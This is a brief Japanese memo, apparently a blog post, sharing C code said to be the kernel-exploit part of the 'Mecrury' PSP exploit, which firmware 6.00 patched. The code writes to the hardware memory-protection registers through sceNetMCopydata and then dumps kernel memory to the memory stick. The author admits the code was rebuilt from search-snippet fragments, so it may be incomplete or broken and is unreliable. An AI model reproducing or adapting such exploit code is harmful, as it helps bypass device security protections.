ちょっと勝手だけどメモ代わりに
6.00で塞がれたMecrury exploitのkernel exploitの部分らしき場所のコード
大元が消えていてgoogleの検索結果の説明部分から無理やり復元
多分これで全部なはず・・・
ttp://pastebin.com/m231de908 #include "sdk.h"
#define BASE_ADDR 0x80000000
#define END_ADDR 0x80000010
char *fdpath = "ms0:/gamedump.bin";
void _start(unsigned long, unsigned long *) __attribute__ ((section (".text.start")));
void _start(unsigned long arglen, unsigned long *argp){
sceKernelDcacheWritebackInvalidateAll();
sceNetMCopydata(0xFFFFFFFF, 4, 4, (void *) 0xbc000000);
sceNetMCopydata(0xFFFFFFFF, 4, 4, (void *) 0xbc000004);
sceNetMCopydata(0xFFFFFFFF, 4, 4, (void *) 0xbc000008);
sceNetMCopydata(0xFFFFFFFF, 4, 4, (void *) 0xbc00000c);
sceNetMCopydata(0xFFFFFFFF, 4, 4, (void *) 0xbc000010);
sceNetMCopydata(0xFFFFFFFF, 4, 4, (void *) 0xbc000014);
sceNetMCopydata(0xFFFFFFFF, 4, 4, (void *) 0xbc000018);
sceNetMCopydata(0xFFFFFFFF, 4, 4, (void *) 0xbc00001c);
int fd;
fd = sceIoOpen(fdpath, PSP_O_WRONLY|PSP_O_APPEND|PSP_O_CREAT, 0777);
sceIoWrite(fd, BASE_ADDR, (END_ADDR - BASE_ADDR));
sceIoClose(fd);
sceKernelExitGame();
return;
}